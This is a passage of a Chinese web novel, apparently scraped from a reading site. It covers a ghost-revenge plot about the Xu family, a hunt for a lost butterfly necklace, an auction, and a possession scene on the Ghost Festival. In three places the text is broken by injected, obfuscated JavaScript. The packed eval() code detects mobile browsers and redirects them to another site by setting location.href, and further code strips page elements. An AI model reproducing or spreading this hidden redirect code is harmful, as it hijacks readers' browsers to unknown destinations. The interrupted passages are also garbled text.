李思雨是我远房表妹,之前在婚礼上见到黄衣,就看上他了,所以一直让我安排他们见面认识。你也瞧见今天黄衣那个态度,对她丝毫不敢兴趣,就差把我没看上你写脸上了。李思雨很受打击,不过她跟我说不会轻易放弃的,要主动追他。但黄衣这个性子,思雨要想打动他,难度还挺大的,主要是黄衣对她没意思。 不过你就不一样了,上次婚礼的时候我就看出来了,许修远特别关注你,我还以为他会主动追你呢,没想到还是你比较勇敢,就这一点,许修远比不上你!” 那次婚礼? 颜珺瑶心想,许修远之所以在婚礼上关注她,只是因为她穿了旗袍,让他觉得她越发像沈新柔了吧!当时他不是在欣赏,而是感到恐惧吧! * 翌日上午,张熙杰又没来上班,颜珺瑶给他打了电话询问情况。 电话那头的张熙杰语气中尽是无奈和无力,“我爷爷固执地拒绝动手术,今天给他办了出院手续,送他回老家。” 昨天他劝了爷爷一个下午,甚至给他跪下了,但爷爷还是不为所动,只有一句话,“即使我动了手术,也不能活下来,这是我的命数。” “……” 一瞬间,颜珺瑶只觉得自己脑子里乱糟糟的,心里很不好受,也不知道该怎么安慰张熙杰。 汤爷爷宁愿不顾自己的身体健康,也不愿意受许家半点恩惠,可见他对许家是有多深的怨恨。 张熙杰叹了口气,“医生开了药,我爸妈会留在老家照顾他,他现在情况还不算很差,再多劝劝,希望他哪天可以改变心意。” 结束通话,颜珺瑶突然冒出一个念头,沈新柔知道汤爷爷拒绝手术的事吗? 汤爷爷会不会听沈新柔的劝呢? 如果沈新柔和许薇萍真的一直跟在她身边,自己说不定可以试一试。 * 当天凌晨,颜珺瑶从抽屉里拿出了汤爷爷给的如意纹荷包。 攥着荷包坐到了床上,她咽了咽口水,对着虚空喊了一声:“沈新柔——你——你在吗?” 好半晌,房间里没有任何异样,她干脆打开荷包,把里面的那张聚阴符拿在了手上。 “沈新柔,我知道你和汤爷爷是亲人,汤爷爷生病了,但是拒绝动手术。他的病已经到中期了,再拖延下去,只会越来越严重,手术成功的几率更小了,你能不能——” 蓦地传来“啪”的一声,颜珺瑶吓了一大跳,迅速转过头,才发现是书桌上放着的手机支架突然就倒了。 “……” 她突然想起来被许忠林困在别墅里的第一个晚上,许薇萍就是这么回应自己的。 看来沈新柔现在就在自己身边。 “你在的话,我就继续说了。” 她下意识地把空调被拉到身上,把房间扫视了一圈,轻咳了两声,“沈新柔,你劝劝汤爷爷吧,他现在及时动手术的话,还有好几年的存活期,不能就这么放弃了。可以不必放下对许家的仇恨,但不能不珍惜自己的命,你说对吧——” 房间内没有任何回应,有那么一瞬,颜珺瑶觉得自己像是个傻子,一个人在这儿自言自语玩得起劲儿。 她双手合十,恳求道:“我知道你和汤爷爷一定有联系的方式,希望你能好好劝劝他,命才是最重要的。” “砰——” 书桌上又是一声传来,是刚才那个手机支架直接从桌面上掉到了地面上。 颜珺瑶不禁拉高身上的被子,将聚阴符装入荷包,放回了抽屉里。 沈新柔应该是听到了自己的碎碎念,嗯,必然是听到了,这就是她的回应。 说不定她还真会去劝说汤爷爷呢! 刚要关灯,手却一顿。 算了,还是开着吧! * 第二天早上醒来,颜珺瑶注意到桌面上放着一个文件夹,上面还贴着一张便签纸。 昨晚睡前她已经收拾过书桌了,所以这只能是在自己睡着之后,沈新柔放的。 便签纸上写着两个字,项链,打开文件夹,里面是一张素描铅笔画,是一条项链。 虽然没有上色,但可以从那只蝴蝶得知,这应该就是许薇萍的项链。 她欣喜不已,可转念一想,沈新柔为什么要给她画这个呢? 许忠林是见过那条项链的,而且一直还记得,那么这张画,是想让她转交给——许修远的吗? 嗯,有可能,沈新柔不相信许忠林,但可以看出她对许修远并没有那么反感。 颜珺瑶立即将素描画拍了照,发给了许修远。 对方直接回了电话过来,“图是昨晚沈新柔画的?” “嗯,今天早上放在桌面上的,也许她也担心当年项链真的被你爷爷随手送人了。” “嗯,我会尽力去找的。” 挂断电话,她忍不住又端详了手边的素描画,原来项链上的蝴蝶是立体的,而不是平面的,双翅翩跹,惟妙惟肖。 可见当年许修远的太爷爷确实花了心思定做这条项链,不可否认他爱孩子,但却更爱家族的名声,他对孩子和沈新柔的爱都拿不出手。 * 张熙杰请了假,特意开车送爷爷和爸妈回老家。 上午刚安顿好,就有不少村里人过来问候,基本上都是张熙杰父母接待,汤明山只见了颜丙文,和他聊了一会儿。 颜丙文看到老邻居没动手术就这么回来,心里就有了不好的猜想,但他一句也不敢说,只能尽力让对方宽心。 午饭过后,家里就没什么客人上门了,汤明山突然下了楼,坐在了一楼的客厅。 张熙杰劝他回房休息,他却只是摇头,盯着电视屏幕看着。 无奈,他只能坐在一旁陪着,却发现爷爷时不时就要看一眼墙上的挂钟。 “爷爷,你是在等人吗?” 汤明山低低地“嗯”了一声,张熙杰一愣,没想到还真是等人。 “等谁啊,我认识吗?要不您先上去休息,等人来了,我把人带到二楼去见您。” “不用,不方便,就在这里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她喝了口茶,清了清嗓子,“汤爷爷,我知道给我匿名转账的人就是您,这二十万我不能收,您已经资助我读完大学,现在我也工作了多年,我甚至都没机会报答您,怎么还能收您的钱?我这次来,除了想看看您之外,还想确认一下您之前的那个银行账号还继续使用吗?我要把钱还给您才行。” 张熙杰一愣,爷爷曾资助过她上大学?这事好像连爸妈都不知道。 而且现在爷爷还给对方转了二十万—— 蓦地,他又快速瞥了一眼柳芳菲,她不会是许薇萍表姑的后代吧? “你怎么没报答?你考了个好大学,而且不是给我带了这么多好东西吗?”汤明山慈爱地笑着,“收着吧,女孩子有点钱傍身,至少不会那么累,而且你还有两位长辈要照顾。” 柳芳菲泪眼朦胧,拼命地摇头,说什么都不肯收,甚至都要给汤明山跪下了,汤明山这才松了口,告诉她之前的银行账号还在用。 柳芳菲终于破涕为笑,拿出手机当场把钱还了回去。 之后两人又说了会儿话,柳芳菲就准备告辞离开,她是请假过来的,第二天还要上班,今晚必须赶回去才行。 张熙杰开车将人送到了县里的火车站,柳芳菲非常不好意思,不停地说着谢谢。 在进站前,她还是忍不住问出了她刚才一直想问的问题。 “汤爷爷生了什么病,严重吗?” 张熙杰愣了下,爷爷既然不想让她担心,那他也不能打爷爷的脸,笑了笑说道:“没什么大问题。” * 许修远联系了表舅和表姑,得知二姑奶奶生前留下的首饰一半给了女儿,也就是他的表姑,另一半给了儿媳。 但表姑的那份里并没有什么红宝石蝴蝶项链,至于表舅妈那边,表舅无奈地告诉许修远,这几年表舅妈的弟弟生意接连亏损,表舅妈私底下偷偷地把不少首饰都给了她弟弟,去年他才发现,手上的首饰已经所剩无几,而且也确实没有许修远所描述的项链。 而且表舅妈也不记得之前给出去的那些首饰里有没有什么红宝石蝴蝶项链,她弟弟也早就卖出去了。 表姑让他去拍卖行打听一下,说不定能找到这种旧物。 许修远确实关注了不少的拍卖行,也私下联系了许多的珠宝商和古董商,以匿名买家的身份高价求购民国年间的红宝石蝴蝶项链。 如果项链恰好在市场中流通,那找回来的概率就比较大。但要是已经被私人收藏,别说半个月,就算是半年都不能保证一定能找到。 几天之后,许修远收到了一个拍卖行发来的拍卖图册,里面真的就有一条蝴蝶项链,而且也是民国年间的。 但可惜的是,一看图片就知道这条项链不是三姑奶奶的那条。 因为图片中蝴蝶的翅膀不是3D立体的,而是平展开的,而且项链上镶嵌的不是红宝石,而是蓝宝石。 思虑一番,许修远还是决定去拍下这条项链。 72. 第 72 章 三天之后的晚上八点,颜珺瑶跟着许修远进了拍卖会场,在指定的位置坐下。 第一次来参加拍卖会,颜珺瑶不禁四处多看了两眼。 从现场的布置上能看出来这不是一般的拍卖会,当然了,即使不用看现场布置,只要看刚才许修远给她的图册上的起拍价,就能一目了然。 起拍价都跟开玩笑似的,不敢想象待会儿的成交价又会是多少。 在来的路上看到图册时,她不太理解,许修远既然知道图册里的项链并不是许薇萍的那条,为什么一定要买下来呢? 她忍不住就问了,许修远则表示:“我不了解三姑奶奶喜欢什么,想着也许她会喜欢蝴蝶,就给她多买一条,我能为她做的并不多,这算是——我的一点心意。” 颜珺瑶被他的话深深感动,其实认真算起来,许耀中的死是许薇萍间接造成的,但许修远现在却能做到这一步,实属难得。也是因为他的善良,所以沈新柔和许薇萍才决定放过许家剩下的人,转而提了那四个要求。 不得不说,命运是真的存在的。如果许家不是出了许修远,这件陈年旧事还不知道什么时候能了结。 颜珺瑶正出神想着,手上下意识地翻着图册,突然听到许修远跟她说了一句什么。 “嗯?你说什么?” 许修远笑笑,瞥了一眼图册,“喜欢这条项链吗?” “……” 颜珺瑶低头一瞧,哦,应该是自己盯着这一页看了太久,所以他才会这么误会。 这一页上面的粉钻项链确实好看,估计大部分女孩都会喜欢,但是这个价格让她的脸色不好看。 工资卡的余额使她龇牙咧嘴,面目全非。 不,她不喜欢! “等我回家偷了我家的,还有我外公外婆家的房本,并且还没被打死,到时候再来回答你的问题。” 许修远忍俊不禁,颜珺瑶正笑眯眯地合上图册,不经意间发现不远处的一个人正看着她,不,更有可能看的是许修远。 这人好像有点眼熟啊—— 她眯眼想了想,啊,是张奶奶的孙女,好像是叫左心玥。 许修远侧头看过去,也注意到了左心玥,朝她点了点头,便看向了台上。 主持人上场了,拍卖会正式开始了。 第一件拍品上场,主持人介绍之后,也开始了叫价环节。 当然了,说是叫价,其实就是加价。 第一次见识现场加价,颜珺瑶真觉得开了眼界,还挺好玩的。 但随着拍品的不断上场,起拍价越来越高,现场的叫价也越来越离谱,颜珺瑶开始觉得自己心脏突然变得不太好。 好吧!那些价格是对她而言离谱,对现场叫价的人来说估计只是洒洒水。 每件拍品的拍卖流程都差不多,听多了,颜珺瑶有些麻木了,只期待着那条蓝宝石蝴蝶项链登场。 许修远低声道:“再有两个就到了。” 十几分钟后,目标项链闪亮登场。 宝石不愧是宝石,在台上灯光的照耀下,熠熠生辉,比图片上的更加绚丽夺目。 主持人介绍之后,很快就开始了叫价环节,现场对这条项链有意向的人不少,但最后还是被许修远拍下了。 颜珺瑶松了口气,之后的拍卖,她有些心不在焉,出神地胡思乱想着。 直到许修远又拍下了一件拍品,就是那条粉钻项链,她才回过神来。 不得不感慨一句,许家真是有实力呀! 这两条项链的总成交价,在许修远眼里只是个数字,在她眼里同样也只是个数字,不一样的数字。 * 张熙杰万万都没想到,有一天自己刷新闻,会看到颜珺瑶成为新闻中的神秘主人公之一。 虽然新闻报道上只拍了许修远和她的背影,而且还不是很清楚,但他对颜珺瑶太熟悉,一眼就认出是她。 而且这条新闻还有一个令他吃惊的地方,就是许修远拍下的其中一条项链。 蓝宝石蝴蝶项链,蝴蝶项链—— 他莫名觉得自己是不是在哪里见过。 很快,他想起了什么,又特意去看了眼手机相册。 那张“一家三口”的合影中,许薇萍脖子上也戴着一条蝴蝶项链。 由于照片老旧,再加上几十年前的拍照技术,看不清细节,不过中间那只蝴蝶却是比较明显的。 确实也是蝴蝶项链,虽然黑白照片无法确认宝石的颜色,但有一点非常明显。 许薇萍项链上的蝴蝶双翅是3D立体的,而这场拍卖会上卖出的项链上的蝴蝶翅膀则是平展的。 同样是蝴蝶项链,同样是民国年间的东西,似乎有些巧合了。 许修远为什么买这条项链? 会不会——他和珺瑶也知道许薇萍? * 中午休息时,张熙杰拉着颜珺瑶到了办公室外的无人角落,并打开了早上的那则新闻。 颜珺瑶接过他的手机扫了一眼,一下子愣住了,这都啥时候被拍的啊?昨晚不是没有媒体的吗? 看来是有人偷拍的! 看这标题起的,年轻的神秘富豪豪掷千万,只为博曼妙女郎一笑。 “……” 这些八卦小报,真的是小瞧他们了,居然还能知道许修远都拍了什么,看来拍卖行内部有人赚外快了。 而且他们比上次造谣许修远的聪明多了,没有指名道姓,没有正脸面,甚至只是模糊的背影,大部分人还是看不出来的,让人想找他们麻烦都不容易。 颜珺瑶正生着气,就听张熙杰问她:“两条项链都是许修远送你的?” 闻言,颜珺瑶只觉得牙疼,“不是,都不是送我的,我只是好奇,所以跟着他去看看而已。” “那他——是送给谁的?我看介绍说其中一条链长较短,是儿童款,他怎么会——” 颜珺瑶愣了下,“送给一个小女孩的。” 小女孩? 张熙杰顷刻间想起那张照片上的许薇萍,拍照的时候许薇萍应该也只有两三岁,确实是小女孩。若是许薇萍现在还在的话,应该跟许修远爷爷差不多大了。 他忍不住给汤明山打了电话,再次确认施晓梦和许薇萍当年是否真的出国。 电话那头的汤明山非常肯定,“我是没见过她们俩,但这个消息不会错,当时她们出国前写信回来了,是她的笔迹。” 张熙杰愣了下,才反应过来,爷爷所说的“她的笔迹”,指的是施晓梦的笔迹。 “爷爷,那张合影上表姑戴了条项链,你见过吗?” “她们出国时,我刚出生,自然是没见过的。” 张熙杰不相信世界上有这些凑巧的事情,心里只觉得心里惴惴不安,但又想不出来哪里不对劲。 * 和张熙杰聊完之后没多久,颜珺瑶猛地想起了什么,不禁暗骂自己太笨了。 张熙杰的那句话太有引导性了,昨天她就没在拍卖图册的介绍上看到说那条蝴蝶项链是儿童款,但刚才他突然这么一问,她就没多想,直接说了出来。 不,不对劲。他应该是想知道许修远为什么买那条项链,给谁买的。 之前张熙杰一直想知道她家里有没有姓施的亲人,他一定是已经知道了什么,现在又突然提到那条蝴蝶项链,难道他也已经知道了许薇萍? 可怎么会? 他怎么会卷入这件事呢? * 张熙杰原先以为柳芳菲很可能是许薇萍表姑的后人,甚至怀疑过爷爷是否曾对不起奶奶。 因为爷爷不仅资助了对方多年,而且又匿名转账二十万,虽然对方没收,但是这似乎超过了一个正常资助人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他正觉得奇怪,突然就看到一直呆坐在一旁的奶奶,伸手指着他身后的方向,咕哝着一句相同的话,应该是在喊谁,但他听不清楚。 柳芳菲母亲轻声安抚了老太太,而后才向张熙杰解释道:“我们奶奶是在喊二太太。” 二太太? 这个称呼貌似有点—— 张熙杰看向老太太,老人家已经九十多了,是从上个世纪初走过来的人,倒也符合那个时代特点。 “我们奶奶很小的时候就被家里人送到大户人家家里干活,这个二太太是曾经对她最好的一个主家太太,她经常念叨着,即使现在痴呆了,也没忘。” 一瞬间福至心灵,张熙杰脑子里猛地想到了什么。 “老太太认识许家吗?” 柳芳菲愣了下,一下子没反应过来,“许佳?是谁?” “就是我们那边的许氏家族,老太太年轻时在许家工作过吗?” “啊,”柳芳菲的母亲想起来了,“对,我们奶奶是提到过许家,她十二三岁就去了许家干活,十九岁的时候因为犯了错,被大太太赶走了。不过当时二太太偷偷给了她一个玉手镯,我和孩子他爸结婚的饿时候,我们奶奶就把手镯给了我。后来孩子他爸病重时,我没办法只能把这个玉手镯给卖了,没想到居然卖了十万,也是这十万,才让芳菲的爸爸多活了两年。 原先以为只是个普通镯子,我没怎么放在心上。但直到知道手镯能值十万,我才意识到我们奶奶应该是真的在许家待过。我还特意去打听过,咱们那边确实有个许家,从祖上好几代开始就非常有钱,大门大户的。” 张熙杰想了想,又道:“这二太太确实是个大好人,那老太太之后是因为成家了,所以离开许家的吗?” 柳芳菲的母亲摇了摇头,“不是,我们奶奶说她是被大太太赶走的。” 73. 第 73 章 柳芳菲也刚知道这回事,问出了张熙杰也想知道的问题:“奶奶当时是被赶走的?她犯了什么错?” “奶奶说应该是和二太太有关的。当时在许家干活的时候她年纪小,经常被欺负,二太太只要看到了就会帮她,也给她拿过好吃的,她那时候就很想到二太太身边伺候,但是二太太也可怜啊!大太太害死了二太太的孩子,最后连二太太也被害死了。 奶奶在这之前偷偷地去看过二太太,还帮二太太送了一封信,可二太太的家人还是没来得及救下二太太。我琢磨着应该就是因为送信吧,让大太太不高兴了,所以就把她赶走了。 那时候我们奶奶已经有些糊涂了,每天嘴里翻来覆去都是她年轻时的事情,我们当时听了也就听了,不敢当真,更不敢往外说,毕竟是许家,大家大族的。可那个镯子又卖了十万,这么值钱,肯定不是假货,所以我又觉得可能奶奶说的都是真的,至少这个二太太对她好,帮过她,这不会是假的,否则她不会都糊涂了,还惦念着二太太。” 张熙杰听完之后,端起杯子喝了口水,若有所思。 * 柳芳菲的母亲有些好奇,“熙杰呀,你怎么突然打听这些事呢?” “妈——”柳芳菲抢在张熙杰开口前说话了,“熙杰是个电视台记者,肯定是工作方面的事情,打听一下也不会怎么样,就算报道出来,也会隐藏被采访者信息的。” 柳芳菲的母亲有些不好意思,赶紧解释道:“熙杰呀,我只是随口一问,你别放在心上。” 张熙杰笑了笑,“没事的,阿姨,我想了解一些旧年的故事,做一个专栏,所以多聊了两句,您放心,即使以后专栏做成了,也绝不会透露你们的信息的。” “哦,这样啊,”柳芳菲母亲似懂非懂,“来,吃水果,吃水果——” 张熙杰离开的时候,柳芳菲送她下楼,一直在表示对汤明山的感谢。 上车前,张熙杰笑着对她说:“我爷爷说了,你过得开心就好,如果以后需要遇到什么麻烦,可以找我,我能帮忙一定会帮忙的。” * 回去的路上,张熙杰不停地在回想着柳芳菲母亲说的话。 柳芳菲奶奶提到的这个“二太太”有没有可能是是施晓梦,也就是大姑奶奶呢? 他觉得很有可能,他一直不太相信爷爷说的大姑奶奶和表姑是去出国了。 从那张合照就可以看出许天佑对大姑奶奶母女还是重视的,那么就不太可能会养在外面,而不接回许家。 难道大姑奶奶真的是被许修远的太奶奶给害死了,连同她的孩子?如果是这样的话,那么爷爷让父亲给许家送的信,就很可能不是什么提示。 爷爷到底是要做什么?报仇?为什么现在才突然想要报仇呢? * 有些问题就像是沙子一样,放在心头硌得慌。 张熙杰难受得很,再次回到老家,和父亲摊了牌,问他到底是怎么回事,为什么要帮爷爷偷偷摸摸地给许家送行。 郑贺今大惊失色,说话都有些不利索了,“你——怎么知——” 蓦地,他想起那天自己去送第二封信之前遇到了儿子,便怀疑是儿子那天跟踪了自己。 张熙杰也不否认,“爸,你那天实在是太奇怪了,他就差把我要去偷偷摸摸干点事写在脸上了。我不放心,所以就跟上去看看。而且事后我还找过那个快递员,对方说了你是点名要送给许老先生。” 郑贺今心里慌得很,嘱咐张熙杰千万不要在他爷爷面前提起这件事。 “究竟是怎么回事,为什么我们家会和许家扯上关系,爷爷到底给许家送的信上面写了什么,爷爷到底要做什么?” 对于张熙杰这一连串的疑问,郑贺今其实也不太清楚。 “我也问过你爷爷,但老爷子不说,只是让我那么做就可以,什么都没告诉我,还让我千万要小心,而且不能告诉任何人。” “爸,你前后送了几次。” “两次。” 张熙杰忍不住说道:“您就不问问爷爷的目的是什么吗?就不怕许家的人会查到你吗?那个快递员只要给钱,什么都肯说的,并不可靠。我就是花了钱才打听到你的。” 郑贺今深深地叹了口气,“你爷爷一大把年纪了,而且身体又不好,我只是想——尽量满足他的心愿,让他不要留有遗憾。就是因为担心快递员不可靠,所以两次我都做了伪装,而且走路姿势都不一样,两次都找了不同的快递员,见面的地点都是提前观察过的,没有摄像头。目前来看,许家应该是没有发现是我做的。” * 饭后,趁着爷爷刚吃了药,他直接了当地问道:“大姑奶奶是不是被许修远的太奶奶害死的?她生下的孩子是不是也被害死了?您之前给许家送的根本就不是什么提示。” 汤明山没想到张熙杰居然查到了这么多,十分诧异,但还是不打算把事情告诉他,不想让他卷入这些乱七八糟的事情。 “不管你打听到什么,都不是真的,你不要掺和进我的事情,好好过自己的就可以了。我们家和许家不会有任何交集。” “爷爷,许家遇到的那方面的麻烦,和您有关系吗?” 汤明山沉默了片刻,“和我没关系,是他们家自己造的孽。” 张熙杰并不相信,“那您给许老爷子送的信上到底写了什么?” 汤明山没什么笑意地扯了扯嘴角,“我说过了是给他们的提示,并没有骗你。” 张熙杰着急地想暴走,“爷爷,就算我爸伪装得再好,也有可能被许家查出来,您没想过后果吗?您就只顾着往年恩怨,不考虑我和我爸妈吗?您应该告诉我,我是您的孙子,我可以帮您一起想办法的。” “这些你别操心了,许家的事情应该很快就会结束的,从此之后,我们和许家不会再有任何瓜葛。” “您这么多年一直资助柳芳菲上学,是为了感谢她的奶奶当年帮大姑奶奶送过信对吗?” 汤明山否认,“我只是同情她,觉得这孩子不容易,仅此而已。” * 颜珺瑶发现,张熙杰最近请假有些频繁,在单位时,只要不工作的时候,他就变得有些沉默,一副心事重重的样子。 但问他是不是出了什么事,他却笑着说没事,就是担心爷爷的身体,让她不用担心。 颜珺瑶觉得不是,但张熙杰不想说,她也不能勉强,只对他说了一句:“如果需要帮忙,一定不要客气。” 张熙杰看着颜珺瑶,欲言又止。 他真的很想问问她,许家最近到底出了什么事,但自己要是这么一问,颜珺瑶可能就会有所猜测,胡思乱想,暂时还是算了。 目前一切都还只是自己的猜测而已,没有任何证据佐证。 他有些怀疑,许忠林之前找她帮忙,以及珺瑶大晚上去许家老宅的这两次,他们聊的事情会不会和施晓梦有关呢? 并不是他不相信颜珺瑶的能力,但是许忠林身边什么人才没有,为什么整理材料就一定要找一个并不是很熟悉的人帮忙吗? 而且珺瑶要找许家爷孙谈话,为什么就非得选在大晚上的时候呢? 思及此,他突然又想起来一件事。 三月底的时候,颜珺瑶当时亲眼目睹了许修远父亲的车祸,他记得很清楚,当时在医院的时候,她曾说过她在许修远父亲的车前看到了一个小女孩,可事实上现场根本就没有出现什么小女孩。 这很可能不是她的幻觉,有没有可能是她——见鬼了? 而且见到的小女孩还是许薇萍表姑呢? 张熙杰被自己的这个推测吓到了,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249362|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果真的是这样的话,那么珺瑶大晚上去到许家,难道是为了用自己那张脸吓唬许忠林吗? * 半个月的时间说长不长,说短不短,终于到了沈新柔约定和许家人见面的日子。 大早上起床时,颜珺瑶就在桌子上看到一张便签纸,让她晚上联系许修远,跟着去许家老宅拿项链,还嘱咐她什么东西都不要喝,也不要吃,小心为上。 一整个白天颜珺瑶都有些心不在焉,下午在茶水间倒咖啡的时候,突然被身后的一声怪腔怪调的“小颜”给吓了一跳,把手指给烫到了。 她嘴里嘶着七转身,才发现是最近自己很讨厌但又拿他没办法的一个人。 “主任。” “小颜啊,这怎么还烫到了呢?这么魂不守舍的,可做不好工作的。”王宇阳慢条斯理地走到她身边,“这咖啡机特意找人给你们修好了,干咱们这一行的确实是离不开咖啡茶水,多喝点,有了精神才能出好新闻嘛!你说对不对呀,小颜!” “……”颜珺瑶暗暗咬牙,她可不可以把手上的这杯咖啡倒扣倒他头上,把他头上的几根毛全都烫没,全都烫没? 她深吸了一口气,努力扬起嘴角,“主任说的对,我会多喝两杯的。” 离开茶水间的时候,她紧紧攥拳。 如果哪一天——哪一天自己中了彩票,拿到了九位数的奖金,第一件事就是要往栏目组哐哐砸钱,把这个贱人给换掉,让他专门打扫茶水间。 * 晚上八点多,颜珺瑶坐上许修远的车子,第一次在晚上来到了许家老宅。 她很忐忑,很不安,坐在副驾驶座上都不怎么说话。 即使之前已经有过好几次被附身的经历,但今晚不一样,她是在等着被附身。 而且,许修远前两天说过,许忠林已经找到了那条项链,但她总觉得不踏实,她隐隐有些担心今晚是否能一切顺利,能彻底了解这么多年的恩怨,从此之后她也不用再有这种诡异的经历。 下车的时候,许修远握住了她的手,对她说道:“别害怕,我陪着你。” 颜珺瑶的手微微有些发抖,突然问道:“待会儿你爷爷把项链给了沈新柔,他会不会——派人一直跟着我呢?” 许忠林一直想知道幕后的人是谁,沈新柔利用她的身体拿到项链之后,一定会联系幕后的人,这也是许忠林查到的最好机会。 许修远提前考虑到这一点了,“放心,我安排好了。” 跨进大门,许忠林已经坐在沙发上,表情肃然,严阵以待。 赵敬鸿也在场,一直似笑非笑地盯着她看。 “许老先生——” 许忠林闻言,冷冷地笑了笑,“原来是颜小姐,我还以为是她呢!颜小姐请坐,老宗,上茶!” 颜珺瑶在许忠林对面坐下,许修远陪在她身边,宗叔很快端上了茶水点心,但很明显在场所有人都无心于吃喝,注意力全在许忠林手边的首饰盒子上。 许忠林看向宗叔,宗叔会意,回道:“其他人都回后面的小楼去了,我嘱咐过了,不管今晚听到什么动静,都不能过来,您放心。” 许忠林满意地“嗯”了一声,这才慢条斯理地拿起左手边的首饰盒子,放到了茶几上。 “颜小姐,沈新柔现在还不在,你虽然也没见过项链,但可以替她看一眼,再帮她把东西收好。” 宗叔赶紧上前,把盒子送到了颜珺瑶手上。 颜珺瑶目不转睛地盯着首饰盒,小心翼翼地打开了盖子,可只一眼,她却变了脸色。 “砰”地一声,重重合上盖子,将盒子扔到面前的茶几上,面无表情地看着许忠林。 “这不是我的项链,这不是。” 许修远和许忠林皆是一愣,竟然没发现颜珺瑶什么时候被许薇萍上了身。 74. 第 74 章 许忠林脸颊不断抽搐着,“项链不会错,就是这条。” 颜珺瑶一直盯着许忠林,眼中出现了愤恨,嘴里重复着,“二哥哥,这不是我的蝴蝶项链,这不是——” 下一秒,就见一旁的赵先生于猝不及防间将一杯暗色液体迅速地泼向颜珺瑶,并飞扑向她。 “啊——” 颜珺瑶短促地叫了一声,整个人身子一晃,被人狠狠一拉,意识还没完全恢复过来,就看到赵敬鸿被身边的许修远一脚踹开了,铿锵一声。 她定睛一看,居然是一把刀。 许修远怒道:“爷爷,你疯了吗?你在干嘛?” 颜珺瑶神魂未定,赶紧把刀捡起来,握在手上,不可思议地看着赵敬鸿还有许忠林。 他们——他们居然为了除掉沈新柔,甚至还想杀她吗? 许修远瞬间感觉自己从背后被狠狠一撞,下一秒就看到了自己。 他看到自己一声不吭地离开了客厅,颜珺瑶一时顾不上他,只是盯着许忠林大声质问道:“许老先生是要杀了我吗?你也要和你母亲一样,动手杀人吗?” 宗叔把赵敬鸿扶了起来,但赵敬鸿半天都站不直,可见许修远那一脚踹得有多狠。 许忠林颤抖着唇,嘴上说着抱歉,但脸上却是毫无愧意。 颜珺瑶冷声道:“你的道歉我承受不起,你太可怕了,你果然是你母亲的亲生儿子,自私狠毒——” 许忠林当即变了脸色,斥道:“颜小姐,嘴下留德,请尊重已故之人——” 颜珺瑶刚要回嘴,去见许修远快步走了过来,一手拿着一把水果刀,又扔给她一条毛巾,对她说道:“把你手上的刀给他。” “……”给谁?给许忠林? 颜珺瑶懵了,看了一眼徐总林,下意识地后退,她不能给。 许修远倏地把刀尖对着自己的心脏,她大喊起来:“许修远,你干什么?” * 所有人无不大惊失色,许忠林几乎破了音:“许修远,你是疯了不成?” 许修远突然对着许忠林露出笑容,“二少爷,看看我是谁?” 许忠林差点没站稳,“沈新柔?!你怎么——你怎么会——” 许修远没有理会她,对着颜珺瑶厉声重复了一遍:“把刀给许忠林,快点。” 颜珺瑶没办法,只能把刀扔了过去,落在了离许忠林一步远的地方。 许修远这才阴恻恻地笑了,“二少爷是想说,我怎么会附在这个孩子身上,对吗?他可和你不一样,不是谁都是八字纯阳,而且——你是不是忘了今天是什么日子了?” 弓着身子的赵敬鸿边咳边回道:“今天是七月十五。” 许忠林瘫软在身后的沙发上,许修远接着说道:“对,没错,今天是中元节。不是要杀我吗?把刀捡起来,快点——” 许忠林一动不动,满脸哀求道:“二妈妈,求你放了小远,你要求的其他事情我都亲自去做了,项链实在是找不到,他是个心善的孩子,甚至一个人去祭拜了大哥和三妹,给他们磕头,求你了,不要伤害他——” 许修远不悦道:“快点捡起来,否则我就——” 说着他就举起了刀,作势朝着自己的心脏就要扎下去—— 许忠林大叫起来,“别,别——” 宗叔赶紧捡了起来,把刀塞到了许忠林手上,许修远施施然往前走去。 颜珺瑶见状,下意识地抓住他的胳膊,不让他过去,“别过去——” 许修远皱了皱眉,“松手。” 颜珺瑶无奈地松开了手,眼睁睁看着他走到许忠林面前,伸手抓住对方的手腕对准自己的腹部。 她的呼吸顷刻间一滞,就见许修远居高临下道:“动手啊,看看是你的速度快,还是我的速度快,如果你的速度比较快,我可能就没了,这孩子最多住院而已,又死不了。 但如果我比较快,那你们许家可就真的绝后了,要——试试吗?” 许忠林颤抖着拿不稳刀,直接跪到他面前,“二妈妈,求您了,放过这个孩子吧!” 许修远狠狠甩开他的胳膊,“二少爷的膝盖这么软吗?不是相当硬气吗?呵,你母亲把我和我女儿的所有照片都给烧了,所以你也记不清楚项链的细节,对吗? 我告诉你,即使你现在做了一条一模一样的,我还是要我女儿之前戴的那条,听明白了吗?” 许忠林被宗叔扶了起来,在沙发上再次坐下。 许修远也回到了原来的位置上坐下,将水果刀甩向了左手边沙发的坐垫上。 颜珺瑶还是浑身紧绷,丝毫不敢放松,也不打算坐下,拿着毛巾有一下没一下地擦拭着衣服上的脏东西。 * 不一会儿,许修远又开口了。 “我知道这孩子的用心,所以对比之下,你就更加没有心肝。” 他拿起项链盒子,直接扔到男主爷爷旁边的沙发上,“不管你用什么办法,原来的那条项链一定要找回来。还有,其他三件事,也需要你亲自去做,不能假手他人。 如果你真的做不到,那咱们就都到底下去见面,到时候记得提前给自己准备好棺木。” 说完,许修远站了起来,瞥了颜珺瑶一眼,就转身离开。 颜珺瑶赶紧乖乖地跟在身后,直到来到车前,许修远突然眼一闭,整个人晃了一下。 颜珺瑶猜到什么,立即上前扶住他的胳膊,见他额角有汗,关切地问他怎么样了。 